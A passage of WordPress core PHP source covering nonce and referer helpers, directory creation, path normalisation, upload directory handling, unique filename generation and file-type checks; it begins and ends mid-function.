since we got here because the * options table could not be accessed. */ $wp_tables = $wpdb->tables(); foreach ( $wp_tables as $table ) { // The existence of custom user tables shouldn't suggest an unwise state or prevent a clean installation. if ( defined( 'CUSTOM_USER_TABLE' ) && CUSTOM_USER_TABLE === $table ) { continue; } if ( defined( 'CUSTOM_USER_META_TABLE' ) && CUSTOM_USER_META_TABLE === $table ) { continue; } $described_table = $wpdb->get_results( "DESCRIBE $table;" ); if ( ( ! $described_table && empty( $wpdb->last_error ) ) || ( is_array( $described_table ) && 0 === count( $described_table ) ) ) { continue; } // One or more tables exist. This is not good. wp_load_translations_early(); // Die with a DB error. $wpdb->error = sprintf( /* translators: %s: Database repair URL. */ __( 'One or more database tables are unavailable. The database may need to be <a href="%s">repaired</a>.' ), 'maint/repair.php?referrer=is_blog_installed' ); dead_db(); } $wpdb->suppress_errors( $suppress ); wp_cache_set( 'is_blog_installed', false ); return false; } /** * Retrieves URL with nonce added to URL query. * * @since 2.0.4 * * @param string $actionurl URL to add nonce action. * @param int|string $action Optional. Nonce action name. Default -1. * @param string $name Optional. Nonce name. Default '_wpnonce'. * @return string Escaped URL with nonce action added. */ function wp_nonce_url( $actionurl, $action = -1, $name = '_wpnonce' ) { $actionurl = str_replace( '&', '&', $actionurl ); return esc_html( add_query_arg( $name, wp_create_nonce( $action ), $actionurl ) ); } /** * Retrieves or display nonce hidden field for forms. * * The nonce field is used to validate that the contents of the form came from * the location on the current site and not somewhere else. The nonce does not * offer absolute protection, but should protect against most cases. It is very * important to use nonce field in forms. * * The $action and $name are optional, but if you want to have better security, * it is strongly suggested to set those two parameters. It is easier to just * call the function without any parameters, because validation of the nonce * doesn't require any parameters, but since crackers know what the default is * it won't be difficult for them to find a way around your nonce and cause * damage. * * The input name will be whatever $name value you gave. The input value will be * the nonce creation value. * * @since 2.0.4 * * @param int|string $action Optional. Action name. Default -1. * @param string $name Optional. Nonce name. Default '_wpnonce'. * @param bool $referer Optional. Whether to set the referer field for validation. Default true. * @param bool $display Optional. Whether to display or return hidden form field. Default true. * @return string Nonce field HTML markup. */ function wp_nonce_field( $action = -1, $name = '_wpnonce', $referer = true, $display = true ) { $name = esc_attr( $name ); $nonce_field = '<input type="hidden" id="' . $name . '" name="' . $name . '" value="' . wp_create_nonce( $action ) . '" />'; if ( $referer ) { $nonce_field .= wp_referer_field( false ); } if ( $display ) { echo $nonce_field; } return $nonce_field; } /** * Retrieves or displays referer hidden field for forms. * * The referer link is the current Request URI from the server super global. The * input name is '_wp_http_referer', in case you wanted to check manually. * * @since 2.0.4 * * @param bool $display Optional. Whether to echo or return the referer field. Default true. * @return string Referer field HTML markup. */ function wp_referer_field( $display = true ) { $request_url = remove_query_arg( '_wp_http_referer' ); $referer_field = '<input type="hidden" name="_wp_http_referer" value="' . esc_url( $request_url ) . '" />'; if ( $display ) { echo $referer_field; } return $referer_field; } /** * Retrieves or displays original referer hidden field for forms. * * The input name is '_wp_original_http_referer' and will be either the same * value of wp_referer_field(), if that was posted already or it will be the * current page, if it doesn't exist. * * @since 2.0.4 * * @param bool $display Optional. Whether to echo the original http referer. Default true. * @param string $jump_back_to Optional. Can be 'previous' or page you want to jump back to. * Default 'current'. * @return string Original referer field. */ function wp_original_referer_field( $display = true, $jump_back_to = 'current' ) { $ref = wp_get_original_referer(); if ( ! $ref ) { $ref = ( 'previous' === $jump_back_to ) ? wp_get_referer() : wp_unslash( $_SERVER['REQUEST_URI'] ); } $orig_referer_field = '<input type="hidden" name="_wp_original_http_referer" value="' . esc_attr( $ref ) . '" />'; if ( $display ) { echo $orig_referer_field; } return $orig_referer_field; } /** * Retrieves referer from '_wp_http_referer' or HTTP referer. * * If it's the same as the current request URL, will return false. * * @since 2.0.4 * * @return string|false Referer URL on success, false on failure. */ function wp_get_referer() { // Return early if called before wp_validate_redirect() is defined. if ( ! function_exists( 'wp_validate_redirect' ) ) { return false; } $ref = wp_get_raw_referer(); if ( $ref && wp_unslash( $_SERVER['REQUEST_URI'] ) !== $ref && home_url() . wp_unslash( $_SERVER['REQUEST_URI'] ) !== $ref ) { return wp_validate_redirect( $ref, false ); } return false; } /** * Retrieves unvalidated referer from the '_wp_http_referer' URL query variable or the HTTP referer. * * If the value of the '_wp_http_referer' URL query variable is not a string then it will be ignored. * * Do not use for redirects, use wp_get_referer() instead. * * @since 4.5.0 * * @return string|false Referer URL on success, false on failure. */ function wp_get_raw_referer() { if ( ! empty( $_REQUEST['_wp_http_referer'] ) && is_string( $_REQUEST['_wp_http_referer'] ) ) { return wp_unslash( $_REQUEST['_wp_http_referer'] ); } elseif ( ! empty( $_SERVER['HTTP_REFERER'] ) ) { return wp_unslash( $_SERVER['HTTP_REFERER'] ); } return false; } /** * Retrieves original referer that was posted, if it exists. * * @since 2.0.4 * * @return string|false Original referer URL on success, false on failure. */ function wp_get_original_referer() { // Return early if called before wp_validate_redirect() is defined. if ( ! function_exists( 'wp_validate_redirect' ) ) { return false; } if ( ! empty( $_REQUEST['_wp_original_http_referer'] ) ) { return wp_validate_redirect( wp_unslash( $_REQUEST['_wp_original_http_referer'] ), false ); } return false; } /** * Recursive directory creation based on full path. * * Will attempt to set permissions on folders. * * @since 2.0.1 * * @param string $target Full path to attempt to create. * @return bool Whether the path was created. True if path already exists. */ function wp_mkdir_p( $target ) { $wrapper = null; // Strip the protocol. if ( wp_is_stream( $target ) ) { list( $wrapper, $target ) = explode( '://', $target, 2 ); } // From php.net/mkdir user contributed notes. $target = str_replace( '//', '/', $target ); // Put the wrapper back on the target. if ( null !== $wrapper ) { $target = $wrapper . '://' . $target; } /* * Safe mode fails with a trailing slash under certain PHP versions. * Use rtrim() instead of untrailingslashit to avoid formatting.php dependency. */ $target = rtrim( $target, '/' ); if ( empty( $target ) ) { $target = '/'; } if ( file_exists( $target ) ) { return @is_dir( $target ); } // Do not allow path traversals. if ( str_contains( $target, '../' ) || str_contains( $target, '..' . DIRECTORY_SEPARATOR ) ) { return false; } // We need to find the permissions of the parent folder that exists and inherit that. $target_parent = dirname( $target ); while ( '.' !== $target_parent && ! is_dir( $target_parent ) && dirname( $target_parent ) !== $target_parent ) { $target_parent = dirname( $target_parent ); } // Get the permission bits. $stat = @stat( $target_parent ); if ( $stat ) { $dir_perms = $stat['mode'] & 0007777; } else { $dir_perms = 0777; } if ( @mkdir( $target, $dir_perms, true ) ) { /* * If a umask is set that modifies $dir_perms, we'll have to re-set * the $dir_perms correctly with chmod() */ if ( ( $dir_perms & ~umask() ) !== $dir_perms ) { $folder_parts = explode( '/', substr( $target, strlen( $target_parent ) + 1 ) ); for ( $i = 1, $c = count( $folder_parts ); $i <= $c; $i++ ) { chmod( $target_parent . '/' . implode( '/', array_slice( $folder_parts, 0, $i ) ), $dir_perms ); } } return true; } return false; } /** * Tests if a given filesystem path is absolute. * * For example, '/foo/bar', or 'c:\windows'. * * @since 2.5.0 * * @param string $path File path. * @return bool True if path is absolute, false is not absolute. */ function path_is_absolute( $path ) { /* * Check to see if the path is a stream and check to see if its an actual * path or file as realpath() does not support stream wrappers. */ if ( wp_is_stream( $path ) && ( is_dir( $path ) || is_file( $path ) ) ) { return true; } /* * This is definitive if true but fails if $path does not exist or contains * a symbolic link. */ if ( realpath( $path ) === $path ) { return true; } if ( strlen( $path ) === 0 || '.' === $path[0] ) { return false; } // Windows allows absolute paths like this. if ( preg_match( '#^[a-zA-Z]:\\\\#', $path ) ) { return true; } // A path starting with / or \ is absolute; anything else is relative. return ( '/' === $path[0] || '\\' === $path[0] ); } /** * Joins two filesystem paths together. * * For example, 'give me $path relative to $base'. If the $path is absolute, * then it the full path is returned. * * @since 2.5.0 * * @param string $base Base path. * @param string $path Path relative to $base. * @return string The path with the base or absolute path. */ function path_join( $base, $path ) { if ( path_is_absolute( $path ) ) { return $path; } return rtrim( $base, '/' ) . '/' . $path; } /** * Normalizes a filesystem path. * * On windows systems, replaces backslashes with forward slashes * and forces upper-case drive letters. * Allows for two leading slashes for Windows network shares, but * ensures that all other duplicate slashes are reduced to a single. * * @since 3.9.0 * @since 4.4.0 Ensures upper-case drive letters on Windows systems. * @since 4.5.0 Allows for Windows network shares. * @since 4.9.7 Allows for PHP file wrappers. * * @param string $path Path to normalize. * @return string Normalized path. */ function wp_normalize_path( $path ) { $wrapper = ''; if ( wp_is_stream( $path ) ) { list( $wrapper, $path ) = explode( '://', $path, 2 ); $wrapper .= '://'; } // Standardize all paths to use '/'. $path = str_replace( '\\', '/', $path ); // Replace multiple slashes down to a singular, allowing for network shares having two slashes. $path = preg_replace( '|(?<=.)/+|', '/', $path ); // Windows paths should uppercase the drive letter. if ( ':' === substr( $path, 1, 1 ) ) { $path = ucfirst( $path ); } return $wrapper . $path; } /** * Determines a writable directory for temporary files. * * Function's preference is the return value of sys_get_temp_dir(), * followed by your PHP temporary upload directory, followed by WP_CONTENT_DIR, * before finally defaulting to /tmp/ * * In the event that this function does not find a writable location, * It may be overridden by the WP_TEMP_DIR constant in your wp-config.php file. * * @since 2.5.0 * * @return string Writable temporary directory. */ function get_temp_dir() { static $temp = ''; if ( defined( 'WP_TEMP_DIR' ) ) { return trailingslashit( WP_TEMP_DIR ); } if ( $temp ) { return trailingslashit( $temp ); } if ( function_exists( 'sys_get_temp_dir' ) ) { $temp = sys_get_temp_dir(); if ( @is_dir( $temp ) && wp_is_writable( $temp ) ) { return trailingslashit( $temp ); } } $temp = ini_get( 'upload_tmp_dir' ); if ( @is_dir( $temp ) && wp_is_writable( $temp ) ) { return trailingslashit( $temp ); } $temp = WP_CONTENT_DIR . '/'; if ( is_dir( $temp ) && wp_is_writable( $temp ) ) { return $temp; } return '/tmp/'; } /** * Determines if a directory is writable. * * This function is used to work around certain ACL issues in PHP primarily * affecting Windows Servers. * * @since 3.6.0 * * @see win_is_writable() * * @param string $path Path to check for write-ability. * @return bool Whether the path is writable. */ function wp_is_writable( $path ) { if ( 'Windows' === PHP_OS_FAMILY ) { return win_is_writable( $path ); } return @is_writable( $path ); } /** * Workaround for Windows bug in is_writable() function * * PHP has issues with Windows ACL's for determine if a * directory is writable or not, this works around them by * checking the ability to open files rather than relying * upon PHP to interpret the OS ACL. * * @since 2.8.0 * * @see https://bugs.php.net/bug.php?id=27609 * @see https://bugs.php.net/bug.php?id=30931 * * @param string $path Windows path to check for write-ability. * @return bool Whether the path is writable. */ function win_is_writable( $path ) { if ( '/' === $path[ strlen( $path ) - 1 ] ) { // If it looks like a directory, check a random file within the directory. return win_is_writable( $path . uniqid( mt_rand() ) . '.tmp' ); } elseif ( is_dir( $path ) ) { // If it's a directory (and not a file), check a random file within the directory. return win_is_writable( $path . '/' . uniqid( mt_rand() ) . '.tmp' ); } // Check tmp file for read/write capabilities. $should_delete_tmp_file = ! file_exists( $path ); $f = @fopen( $path, 'a' ); if ( false === $f ) { return false; } fclose( $f ); if ( $should_delete_tmp_file ) { unlink( $path ); } return true; } /** * Retrieves uploads directory information. * * Same as wp_upload_dir() but "light weight" as it doesn't attempt to create the uploads directory. * Intended for use in themes, when only 'basedir' and 'baseurl' are needed, generally in all cases * when not uploading files. * * @since 4.5.0 * * @see wp_upload_dir() * * @return array See wp_upload_dir() for description. */ function wp_get_upload_dir() { return wp_upload_dir( null, false ); } /** * Returns an array containing the current upload directory's path and URL. * * Checks the 'upload_path' option, which should be from the web root folder, * and if it isn't empty it will be used. If it is empty, then the path will be * 'WP_CONTENT_DIR/uploads'. If the 'UPLOADS' constant is defined, then it will * override the 'upload_path' option and 'WP_CONTENT_DIR/uploads' path. * * The upload URL path is set either by the 'upload_url_path' option or by using * the 'WP_CONTENT_URL' constant and appending '/uploads' to the path. * * If the 'uploads_use_yearmonth_folders' is set to true (checkbox if checked in * the administration settings panel), then the time will be used. The format * will be year first and then month. * * If the path couldn't be created, then an error will be returned with the key * 'error' containing the error message. The error suggests that the parent * directory is not writable by the server. * * @since 2.0.0 * @uses _wp_upload_dir() * * @param string|null $time Optional. Time formatted in 'yyyy/mm'. Default null. * @param bool $create_dir Optional. Whether to check and create the uploads directory. * Default true for backward compatibility. * @param bool $refresh_cache Optional. Whether to refresh the cache. Default false. * @return array { * Array of information about the upload directory. * * @type string $path Base directory and subdirectory or full path to upload directory. * @type string $url Base URL and subdirectory or absolute URL to upload directory. * @type string $subdir Subdirectory if uploads use year/month folders option is on. * @type string $basedir Path without subdir. * @type string $baseurl URL path without subdir. * @type string|false $error False or error message. * } */ function wp_upload_dir( $time = null, $create_dir = true, $refresh_cache = false ) { static $cache = array(), $tested_paths = array(); $key = sprintf( '%d-%s', get_current_blog_id(), (string) $time ); if ( $refresh_cache || empty( $cache[ $key ] ) ) { $cache[ $key ] = _wp_upload_dir( $time ); } /** * Filters the uploads directory data. * * @since 2.0.0 * * @param array $uploads { * Array of information about the upload directory. * * @type string $path Base directory and subdirectory or full path to upload directory. * @type string $url Base URL and subdirectory or absolute URL to upload directory. * @type string $subdir Subdirectory if uploads use year/month folders option is on. * @type string $basedir Path without subdir. * @type string $baseurl URL path without subdir. * @type string|false $error False or error message. * } */ $uploads = apply_filters( 'upload_dir', $cache[ $key ] ); if ( $create_dir ) { $path = $uploads['path']; if ( array_key_exists( $path, $tested_paths ) ) { $uploads['error'] = $tested_paths[ $path ]; } else { if ( ! wp_mkdir_p( $path ) ) { if ( str_starts_with( $uploads['basedir'], ABSPATH ) ) { $error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir']; } else { $error_path = wp_basename( $uploads['basedir'] ) . $uploads['subdir']; } $uploads['error'] = sprintf( /* translators: %s: Directory path. */ __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), esc_html( $error_path ) ); } $tested_paths[ $path ] = $uploads['error']; } } return $uploads; } /** * A non-filtered, non-cached version of wp_upload_dir() that doesn't check the path. * * @since 4.5.0 * @access private * * @param string|null $time Optional. Time formatted in 'yyyy/mm'. Default null. * @return array See wp_upload_dir() */ function _wp_upload_dir( $time = null ) { $siteurl = get_option( 'siteurl' ); $upload_path = trim( get_option( 'upload_path' ) ); if ( empty( $upload_path ) || 'wp-content/uploads' === $upload_path ) { $dir = WP_CONTENT_DIR . '/uploads'; } elseif ( ! str_starts_with( $upload_path, ABSPATH ) ) { // $dir is absolute, $upload_path is (maybe) relative to ABSPATH. $dir = path_join( ABSPATH, $upload_path ); } else { $dir = $upload_path; } $url = get_option( 'upload_url_path' ); if ( ! $url ) { if ( empty( $upload_path ) || ( 'wp-content/uploads' === $upload_path ) || ( $upload_path === $dir ) ) { $url = WP_CONTENT_URL . '/uploads'; } else { $url = trailingslashit( $siteurl ) . $upload_path; } } /* * Honor the value of UPLOADS. This happens as long as ms-files rewriting is disabled. * We also sometimes obey UPLOADS when rewriting is enabled -- see the next block. */ if ( defined( 'UPLOADS' ) && ! ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) ) { $dir = ABSPATH . UPLOADS; $url = trailingslashit( $siteurl ) . UPLOADS; } // If multisite (and if not the main site in a post-MU network). if ( is_multisite() && ! ( is_main_network() && is_main_site() && defined( 'MULTISITE' ) ) ) { if ( ! get_site_option( 'ms_files_rewriting' ) ) { /* * If ms-files rewriting is disabled (networks created post-3.5), it is fairly * straightforward: Append sites/%d if we're not on the main site (for post-MU * networks). (The extra directory prevents a four-digit ID from conflicting with * a year-based directory for the main site. But if a MU-era network has disabled * ms-files rewriting manually, they don't need the extra directory, as they never * had wp-content/uploads for the main site.) */ if ( defined( 'MULTISITE' ) ) { $ms_dir = '/sites/' . get_current_blog_id(); } else { $ms_dir = '/' . get_current_blog_id(); } $dir .= $ms_dir; $url .= $ms_dir; } elseif ( defined( 'UPLOADS' ) && ! ms_is_switched() ) { /* * Handle the old-form ms-files.php rewriting if the network still has that enabled. * When ms-files rewriting is enabled, then we only listen to UPLOADS when: * 1) We are not on the main site in a post-MU network, as wp-content/uploads is used * there, and * 2) We are not switched, as ms_upload_constants() hardcodes these constants to reflect * the original blog ID. * * Rather than UPLOADS, we actually use BLOGUPLOADDIR if it is set, as it is absolute. * (And it will be set, see ms_upload_constants().) Otherwise, UPLOADS can be used, as * as it is relative to ABSPATH. For the final piece: when UPLOADS is used with ms-files * rewriting in multisite, the resulting URL is /files. (#WP22702 for background.) */ if ( defined( 'BLOGUPLOADDIR' ) ) { $dir = untrailingslashit( BLOGUPLOADDIR ); } else { $dir = ABSPATH . UPLOADS; } $url = trailingslashit( $siteurl ) . 'files'; } } $basedir = $dir; $baseurl = $url; $subdir = ''; if ( get_option( 'uploads_use_yearmonth_folders' ) ) { // Generate the yearly and monthly directories. if ( ! $time ) { $time = current_time( 'mysql' ); } $y = substr( $time, 0, 4 ); $m = substr( $time, 5, 2 ); $subdir = "/$y/$m"; } $dir .= $subdir; $url .= $subdir; return array( 'path' => $dir, 'url' => $url, 'subdir' => $subdir, 'basedir' => $basedir, 'baseurl' => $baseurl, 'error' => false, ); } /** * Gets a filename that is sanitized and unique for the given directory. * * If the filename is not unique, then a number will be added to the filename * before the extension, and will continue adding numbers until the filename * is unique. * * The callback function allows the caller to use their own method to create * unique file names. If defined, the callback should take three arguments: * - directory, base filename, and extension - and return a unique filename. * * @since 2.5.0 * * @param string $dir Directory. * @param string $filename File name. * @param callable $unique_filename_callback Callback. Default null. * @return string New filename, if given wasn't unique. */ function wp_unique_filename( $dir, $filename, $unique_filename_callback = null ) { // Sanitize the file name before we begin processing. $filename = sanitize_file_name( $filename ); $ext2 = null; // Initialize vars used in the wp_unique_filename filter. $number = ''; $alt_filenames = array(); // Separate the filename into a name and extension. $ext = pathinfo( $filename, PATHINFO_EXTENSION ); $name = pathinfo( $filename, PATHINFO_BASENAME ); if ( $ext ) { $ext = '.' . $ext; } // Edge case: if file is named '.ext', treat as an empty name. if ( $name === $ext ) { $name = ''; } /* * Increment the file number until we have a unique file to save in $dir. * Use callback if supplied. */ if ( $unique_filename_callback && is_callable( $unique_filename_callback ) ) { $filename = call_user_func( $unique_filename_callback, $dir, $name, $ext ); } else { $fname = pathinfo( $filename, PATHINFO_FILENAME ); // Always append a number to file names that can potentially match image sub-size file names. if ( $fname && preg_match( '/-(?:\d+x\d+|scaled|rotated)$/', $fname ) ) { $number = 1; // At this point the file name may not be unique. This is tested below and the $number is incremented. $filename = str_replace( "{$fname}{$ext}", "{$fname}-{$number}{$ext}", $filename ); } /* * Get the mime type. Uploaded files were already checked with wp_check_filetype_and_ext() * in _wp_handle_upload(). Using wp_check_filetype() would be sufficient here. */ $file_type = wp_check_filetype( $filename ); $mime_type = $file_type['type']; $is_image = ( ! empty( $mime_type ) && str_starts_with( $mime_type, 'image/' ) ); $upload_dir = wp_get_upload_dir(); $lc_filename = null; $lc_ext = strtolower( $ext ); $_dir = trailingslashit( $dir ); /* * If the extension is uppercase add an alternate file name with lowercase extension. * Both need to be tested for uniqueness as the extension will be changed to lowercase * for better compatibility with different filesystems. Fixes an inconsistency in WP < 2.9 * where uppercase extensions were allowed but image sub-sizes were created with * lowercase extensions. */ if ( $ext && $lc_ext !== $ext ) { $lc_filename = preg_replace( '|' . preg_quote( $ext ) . '$|', $lc_ext, $filename ); } /* * Increment the number added to the file name if there are any files in $dir * whose names match one of the possible name variations. */ while ( file_exists( $_dir . $filename ) || ( $lc_filename && file_exists( $_dir . $lc_filename ) ) ) { $new_number = (int) $number + 1; if ( $lc_filename ) { $lc_filename = str_replace( array( "-{$number}{$lc_ext}", "{$number}{$lc_ext}" ), "-{$new_number}{$lc_ext}", $lc_filename ); } if ( '' === "{$number}{$ext}" ) { $filename = "{$filename}-{$new_number}"; } else { $filename = str_replace( array( "-{$number}{$ext}", "{$number}{$ext}" ), "-{$new_number}{$ext}", $filename ); } $number = $new_number; } // Change the extension to lowercase if needed. if ( $lc_filename ) { $filename = $lc_filename; } /* * Prevent collisions with existing file names that contain dimension-like strings * (whether they are subsizes or originals uploaded prior to #42437). */ $files = array(); $count = 10000; // The (resized) image files would have name and extension, and will be in the uploads dir. if ( $name && $ext && @is_dir( $dir ) && str_contains( $dir, $upload_dir['basedir'] ) ) { /** * Filters the file list used for calculating a unique filename for a newly added file. * * Returning an array from the filter will effectively short-circuit retrieval * from the filesystem and return the passed value instead. * * @since 5.5.0 * * @param array|null $files The list of files to use for filename comparisons. * Default null (to retrieve the list from the filesystem). * @param string $dir The directory for the new file. * @param string $filename The proposed filename for the new file. */ $files = apply_filters( 'pre_wp_unique_filename_file_list', null, $dir, $filename ); if ( null === $files ) { // List of all files and directories contained in $dir. $files = @scandir( $dir ); } if ( ! empty( $files ) ) { // Remove "dot" dirs. $files = array_diff( $files, array( '.', '..' ) ); } if ( ! empty( $files ) ) { $count = count( $files ); /* * Ensure this never goes into infinite loop as it uses pathinfo() and regex in the check, * but string replacement for the changes. */ $i = 0; while ( $i <= $count && _wp_check_existing_file_names( $filename, $files ) ) { $new_number = (int) $number + 1; // If $ext is uppercase it was replaced with the lowercase version after the previous loop. $filename = str_replace( array( "-{$number}{$lc_ext}", "{$number}{$lc_ext}" ), "-{$new_number}{$lc_ext}", $filename ); $number = $new_number; ++$i; } } } /* * Check if an image will be converted after uploading or some existing image sub-size file names may conflict * when regenerated. If yes, ensure the new file name will be unique and will produce unique sub-sizes. */ if ( $is_image ) { $output_formats = wp_get_image_editor_output_format( $_dir . $filename, $mime_type ); $alt_types = array(); if ( ! empty( $output_formats[ $mime_type ] ) ) { // The image will be converted to this format/mime type. $alt_mime_type = $output_formats[ $mime_type ]; // Other types of images whose names may conflict if their sub-sizes are regenerated. $alt_types = array_keys( array_intersect( $output_formats, array( $mime_type, $alt_mime_type ) ) ); $alt_types[] = $alt_mime_type; } elseif ( ! empty( $output_formats ) ) { $alt_types = array_keys( array_intersect( $output_formats, array( $mime_type ) ) ); } // Remove duplicates and the original mime type. It will be added later if needed. $alt_types = array_unique( array_diff( $alt_types, array( $mime_type ) ) ); foreach ( $alt_types as $alt_type ) { $alt_ext = wp_get_default_extension_for_mime_type( $alt_type ); if ( ! $alt_ext ) { continue; } $alt_ext = ".{$alt_ext}"; $alt_filename = preg_replace( '|' . preg_quote( $lc_ext ) . '$|', $alt_ext, $filename ); $alt_filenames[ $alt_ext ] = $alt_filename; } if ( ! empty( $alt_filenames ) ) { /* * Add the original filename. It needs to be checked again * together with the alternate filenames when $number is incremented. */ $alt_filenames[ $lc_ext ] = $filename; // Ensure no infinite loop. $i = 0; while ( $i <= $count && _wp_check_alternate_file_names( $alt_filenames, $_dir, $files ) ) { $new_number = (int) $number + 1; foreach ( $alt_filenames as $alt_ext => $alt_filename ) { $alt_filenames[ $alt_ext ] = str_replace( array( "-{$number}{$alt_ext}", "{$number}{$alt_ext}" ), "-{$new_number}{$alt_ext}", $alt_filename ); } /* * Also update the $number in (the output) $filename. * If the extension was uppercase it was already replaced with the lowercase version. */ $filename = str_replace( array( "-{$number}{$lc_ext}", "{$number}{$lc_ext}" ), "-{$new_number}{$lc_ext}", $filename ); $number = $new_number; ++$i; } } } } /** * Filters the result when generating a unique file name. * * @since 4.5.0 * @since 5.8.1 The `$alt_filenames` and `$number` parameters were added. * * @param string $filename Unique file name. * @param string $ext File extension. Example: ".png". * @param string $dir Directory path. * @param callable|null $unique_filename_callback Callback function that generates the unique file name. * @param string[] $alt_filenames Array of alternate file names that were checked for collisions. * @param int|string $number The highest number that was used to make the file name unique * or an empty string if unused. */ return apply_filters( 'wp_unique_filename', $filename, $ext, $dir, $unique_filename_callback, $alt_filenames, $number ); } /** * Helper function to test if each of an array of file names could conflict with existing files. * * @since 5.8.1 * @access private * * @param string[] $filenames Array of file names to check. * @param string $dir The directory containing the files. * @param array $files An array of existing files in the directory. May be empty. * @return bool True if the tested file name could match an existing file, false otherwise. */ function _wp_check_alternate_file_names( $filenames, $dir, $files ) { foreach ( $filenames as $filename ) { if ( file_exists( $dir . $filename ) ) { return true; } if ( ! empty( $files ) && _wp_check_existing_file_names( $filename, $files ) ) { return true; } } return false; } /** * Helper function to check if a file name could match an existing image sub-size file name. * * @since 5.3.1 * @access private * * @param string $filename The file name to check. * @param array $files An array of existing files in the directory. * @return bool True if the tested file name could match an existing file, false otherwise. */ function _wp_check_existing_file_names( $filename, $files ) { $fname = pathinfo( $filename, PATHINFO_FILENAME ); $ext = pathinfo( $filename, PATHINFO_EXTENSION ); // Edge case, file names like `.ext`. if ( empty( $fname ) ) { return false; } if ( $ext ) { $ext = ".$ext"; } $regex = '/^' . preg_quote( $fname ) . '-(?:\d+x\d+|scaled|rotated)' . preg_quote( $ext ) . '$/i'; foreach ( $files as $file ) { if ( preg_match( $regex, $file ) ) { return true; } } return false; } /** * Creates a file in the upload folder with given content. * * If there is an error, then the key 'error' will exist with the error message. * If success, then the key 'file' will have the unique file path, the 'url' key * will have the link to the new file. and the 'error' key will be set to false. * * This function will not move an uploaded file to the upload folder. It will * create a new file with the content in $bits parameter. If you move the upload * file, read the content of the uploaded file, and then you can give the * filename and content to this function, which will add it to the upload * folder. * * The permissions will be set on the new file automatically by this function. * * @since 2.0.0 * * @param string $name Filename. * @param null|string $deprecated Never used. Set to null. * @param string $bits File content * @param string|null $time Optional. Time formatted in 'yyyy/mm'. Default null. * @return array { * Information about the newly-uploaded file. * * @type string $file Filename of the newly-uploaded file. * @type string $url URL of the uploaded file. * @type string $type File type. * @type string|false $error Error message, if there has been an error. * } */ function wp_upload_bits( $name, $deprecated, $bits, $time = null ) { if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '2.0.0' ); } if ( empty( $name ) ) { return array( 'error' => __( 'Empty filename' ) ); } $wp_filetype = wp_check_filetype( $name ); if ( ! $wp_filetype['ext'] && ! current_user_can( 'unfiltered_upload' ) ) { return array( 'error' => __( 'Sorry, you are not allowed to upload this file type.' ) ); } $upload = wp_upload_dir( $time ); if ( false !== $upload['error'] ) { return $upload; } /** * Filters whether to treat the upload bits as an error. * * Returning a non-array from the filter will effectively short-circuit preparing the upload bits * and return that value instead. An error message should be returned as a string. * * @since 3.0.0 * * @param array|string $upload_bits_error An array of upload bits data, or error message to return. */ $upload_bits_error = apply_filters( 'wp_upload_bits', array( 'name' => $name, 'bits' => $bits, 'time' => $time, ) ); if ( ! is_array( $upload_bits_error ) ) { $upload['error'] = $upload_bits_error; return $upload; } $filename = wp_unique_filename( $upload['path'], $name ); $new_file = $upload['path'] . "/$filename"; if ( ! wp_mkdir_p( dirname( $new_file ) ) ) { if ( str_starts_with( $upload['basedir'], ABSPATH ) ) { $error_path = str_replace( ABSPATH, '', $upload['basedir'] ) . $upload['subdir']; } else { $error_path = wp_basename( $upload['basedir'] ) . $upload['subdir']; } $message = sprintf( /* translators: %s: Directory path. */ __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), $error_path ); return array( 'error' => $message ); } $ifp = @fopen( $new_file, 'wb' ); if ( ! $ifp ) { return array( /* translators: %s: File name. */ 'error' => sprintf( __( 'Could not write file %s' ), $new_file ), ); } fwrite( $ifp, $bits ); fclose( $ifp ); clearstatcache(); // Set correct file permissions. $stat = @ stat( dirname( $new_file ) ); $perms = $stat['mode'] & 0007777; $perms = $perms & 0000666; chmod( $new_file, $perms ); clearstatcache(); // Compute the URL. $url = $upload['url'] . "/$filename"; if ( is_multisite() ) { clean_dirsize_cache( $new_file ); } /** This filter is documented in wp-admin/includes/file.php */ return apply_filters( 'wp_handle_upload', array( 'file' => $new_file, 'url' => $url, 'type' => $wp_filetype['type'], 'error' => false, ), 'sideload' ); } /** * Retrieves the file type based on the extension name. * * @since 2.5.0 * * @param string $ext The extension to search. * @return string|void The file type, example: audio, video, document, spreadsheet, etc. */ function wp_ext2type( $ext ) { $ext = strtolower( $ext ); $ext2type = wp_get_ext_types(); foreach ( $ext2type as $type => $exts ) { if ( in_array( $ext, $exts, true ) ) { return $type; } } } /** * Returns first matched extension for the mime-type, * as mapped from wp_get_mime_types(). * * @since 5.8.1 * * @param string $mime_type * * @return string|false */ function wp_get_default_extension_for_mime_type( $mime_type ) { $extensions = explode( '|', array_search( $mime_type, wp_get_mime_types(), true ) ); if ( empty( $extensions[0] ) ) { return false; } return $extensions[0]; } /** * Retrieves the file type from the file name. * * You can optionally define the mime array, if needed. * * @since 2.0.4 * * @param string $filename File name or path. * @param string[]|null $mimes Optional. Array of allowed mime types keyed by their file extension regex. * Defaults to the result of get_allowed_mime_types(). * @return array { * Values for the extension and mime type. * * @type string|false $ext File extension, or false if the file doesn't match a mime type. * @type string|false $type File mime type, or false if the file doesn't match a mime type. * } */ function wp_check_filetype( $filename, $mimes = null ) { if ( empty( $mimes ) ) { $mimes = get_allowed_mime_types(); } $type = false; $ext = false; foreach ( $mimes as $ext_preg => $mime_match ) { $ext_preg = '!\.(' . $ext_preg . ')$!i'; if ( preg_match( $ext_preg, $filename, $ext_matches ) ) { $type = $mime_match; $ext = $ext_matches[1]; break; } } return compact( 'ext', 'type' ); } /** * Attempts to determine the real file type of a file. * * If unable to, the file name extension will be used to determine type. * * If it's determined that the extension does not match the file's real type, * then the "proper_filename" value will be set with a proper filename and extension. * * Currently this function only supports renaming images validated via wp_get_image_mime(). * * @since 3.0.0 * * @param string $file Full path to the file. * @param string $filename The name of the file (may differ from $file due to $file being * in a tmp directory). * @param string[]|null $mimes Optional. Array of allowed mime types keyed by their file extension regex. * Defaults to the result of get_allowed_mime_types(). * @return array { * Values for the extension, mime type, and corrected filename. * * @type string|false $ext File extension, or false if the file doesn't match a mime type. * @type string|false $type File mime type, or false if the file doesn't match a mime type. * @type string|false $proper_filename File name with its correct extension, or false if it cannot be determined. * } */ function wp_check_filetype_and_ext( $file, $filename, $mimes = null ) { $proper_filename = false; // Do basic extension validation and MIME mapping. $wp_filetype = wp_check_filetype( $filename, $mimes ); $ext = $wp_filetype['ext']; $type = $wp_filetype['type']; // We can't do any further validation without a file to work with. if ( ! 